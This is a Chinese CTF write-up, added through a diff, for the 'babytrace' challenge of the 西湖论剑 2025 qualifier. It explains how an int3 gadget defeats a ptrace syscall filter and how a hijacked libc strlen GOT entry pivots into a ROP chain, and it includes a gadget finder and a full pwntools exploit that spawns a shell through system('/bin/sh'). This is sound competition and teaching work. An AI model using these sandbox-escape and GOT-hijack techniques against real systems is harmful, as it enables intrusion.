|
| 1 | +--- |
| 2 | +title: 西湖论剑 2025 初赛 - babytrace |
| 3 | +date: 2025/08/02 00:18:00 |
| 4 | +updated: 2025/08/02 00:32:00 |
| 5 | +tags: |
| 6 | + - ptrace |
| 7 | + - int3 |
| 8 | + - libc-hook |
| 9 | + - got-hijack |
| 10 | +thumbnail: /assets/westlake2025/stack.png |
| 11 | +excerpt: 利用 `int3` 干扰 ptrace 监控,劫持 `strlen@GOT` 实现 ROP 链,最终通过 `system` 拿 shell。 |
| 12 | +--- |
| 13 | + |
| 14 | +## 文件属性 |
| 15 | + |
| 16 | +|属性 |值 | |
| 17 | +|------|------| |
| 18 | +|Arch |amd64 | |
| 19 | +|RELRO |Full | |
| 20 | +|Canary|on | |
| 21 | +|NX |on | |
| 22 | +|PIE |on | |
| 23 | +|strip |yes | |
| 24 | +|libc |2.35-0ubuntu3.5| |
| 25 | + |
| 26 | +## 解题思路 |
| 27 | + |
| 28 | +### 绕过ptrace的监控 |
| 29 | + |
| 30 | +程序使用ptrace来监控syscall,按照`ptrace(PTRACE_SYSCALL, ...)`在文档中所言, |
| 31 | +会在系统调用进入和退出时分别唤醒tracer。如果没有任何异常的话,我们就只能按照要求, |
| 32 | +只能执行`read, write, newfstat, exit, exit_group`这么几个系统调用。 |
| 33 | + |
| 34 | +{% note blue fa-circle-info %} |
| 35 | +我一开始不知道ptrace syscall在进入和退出时都会通知tracer,以为有一半的系统调用没有限制, |
| 36 | +导致我一直在尝试让我想做的事落在没有限制的哪一半,还是对ptrace的机制不够熟悉啊。 |
| 37 | +{% endnote %} |
| 38 | + |
| 39 | +我们需要的,就是需要通过什么办法,唤醒tracer,使调试关系错乱,进入syscall的时候没检查, |
| 40 | +退出syscall的时候有检查,这样就拦不住任何东西了。接下来就是一个关键的指令出场了:`int3`。 |
| 41 | +这个指令能够触发系统中断表中的第3项,唤醒tracer,使tracee陷入调试状态, |
| 42 | +就好像ptrace syscall执行了一样,从而骗过父进程,以为进入系统调用,实则并没有。 |
| 43 | + |
| 44 | +那么怎么找这样的gadget呢?ropper和ROPgadget都找不到,于是我写了这么一段代码, |
| 45 | +手动寻找`int3` gadget。 |
| 46 | + |
| 47 | +```python find-int3.py |
| 48 | +#!/bin/python |
| 49 | +from pwn import * |
| 50 | +libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/libc.so.6') |
| 51 | + |
| 52 | +int3s = list(libc.search(b'\xcc', executable=True)) |
| 53 | +for idx, addr in enumerate(int3s): |
| 54 | + disas = libc.disasm(addr, 30) |
| 55 | + if 'ret' not in disas: |
| 56 | + continue |
| 57 | + retoff = disas.find('ret') |
| 58 | + badoff = disas.find('(bad)') |
| 59 | + callof = disas.find('call') |
| 60 | + if badoff != -1 and badoff < retoff or callof != -1 and callof < retoff: |
| 61 | + continue |
| 62 | + print(f"{idx}th gadget") |
| 63 | + print(disas) |
| 64 | + pause() |
| 65 | +``` |
| 66 | + |
| 67 | +经过仔细的挑选后,第726个gadget是最好的选择:它只是触发了`int3`而几乎没有任何副影响。 |
| 68 | + |
| 69 | + |
| 70 | + |
| 71 | +### 构造rop链 |
| 72 | + |
| 73 | +找到gadget后,就是考虑如何拿到flag了。题目给了两次任意读的机会和一次任意写的机会, |
| 74 | +看了[官方wp](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA)后,觉得官方解法还是很妙的。 |
| 75 | + |
| 76 | +只有两次机会读,泄露stack和libc是最合适的,因此最好能直接控制执行流到libc上。 |
| 77 | +否则就要爆破栈或者PIE了。2.35的libc的GOT表还是可以写的,因此可以借助任意写, |
| 78 | +劫持`libc.got['strlen']`,通过将栈抬高然后返回,就可以执行我们输入的ROP链,大概是这样: |
| 79 | + |
| 80 | + |
| 81 | + |
| 82 | +这样就可以实现任意写后`puts -> +stack -> rop`。最后构造rop链加上int3,拿shell。 |
| 83 | + |
| 84 | +{% notel purple fa-exclamation 不能执行`execve("/bin/sh", NULL, NULL)` %} |
| 85 | +这道题不能使用`execve`,因为执行的shell启动后仍然处于被调试状态, |
| 86 | +各种syscall会在返回时被赋值为`-1`,从而被认定为失败,导致开不成shell。 |
| 87 | +反倒是`system`可以,因为会先fork一次,而题目没开`PTRACE_O_TRACEFORK`, |
| 88 | +因而fork后执行syscall不受限制。 |
| 89 | +{% endnotel %} |
| 90 | + |
| 91 | +## EXPLOIT |
| 92 | + |
| 93 | +```python |
| 94 | +from pwn import * |
| 95 | +context.terminal = ['tmux','splitw','-h'] |
| 96 | +context.arch = 'amd64' |
| 97 | +def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' |
| 98 | +EXE = './babytrace' |
| 99 | + |
| 100 | +def payload(lo: int): |
| 101 | + global t |
| 102 | + if lo: |
| 103 | + t = process(EXE) |
| 104 | + if lo & 2: |
| 105 | + gdb.attach(t, 'tb setter') |
| 106 | + else: |
| 107 | + t = remote('', 9999) |
| 108 | + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/libc.so.6') |
| 109 | + |
| 110 | + def setval(buf: bytes, idx: int, val: int): |
| 111 | + t.sendlineafter(b'choose', b'1') |
| 112 | + t.sendafter(b'recv', buf) |
| 113 | + t.sendlineafter(b'which', str(idx).encode()) |
| 114 | + t.sendlineafter(b'set', str(val).encode()) |
| 115 | + |
| 116 | + def getval(idx: int) -> int: |
| 117 | + t.sendlineafter(b'choose', b'2') |
| 118 | + t.sendlineafter(b'which', str(idx).encode()) |
| 119 | + t.recvuntil(b'=') |
| 120 | + return int(t.recvline(), 10) |
| 121 | + |
| 122 | + libc_base = getval(-2) - libc.symbols['_IO_2_1_stderr_'] |
| 123 | + success(GOLD_TEXT(f"Leak libc_base: {libc_base:#x}")) |
| 124 | + libc.address = libc_base |
| 125 | + stack_base = getval(-4) - 0x20 |
| 126 | + success(GOLD_TEXT(f'Leak stack_base: {stack_base:#x}')) |
| 127 | + |
| 128 | + gadgets = ROP(libc) |
| 129 | + int3 = libc_base + 0xf6d43 # int3; nop; ret; |
| 130 | + jmp2buf = libc_base + 0x114b5c # add rsp, 0x68; ret; |
| 131 | + chain = flat(int3, |
| 132 | + gadgets.rdi.address, next(libc.search(b'/bin/sh')), |
| 133 | + gadgets.ret.address, libc.symbols['system'], |
| 134 | + gadgets.rdi.address, 0, libc.symbols['_exit']) |
| 135 | + offset = (libc.got['strlen'] - stack_base) // 8 |
| 136 | + setval(flat({ 0: chain, 0x100: b'flag\0' }, filler=b'\0'), offset, jmp2buf) |
| 137 | + |
| 138 | + t.clean() |
| 139 | + t.interactive() |
| 140 | + t.close() |
| 141 | +``` |
| 142 | + |
| 143 | +## 参考 |
| 144 | + |
| 145 | +1. [第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(下)](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA) |
0 commit comments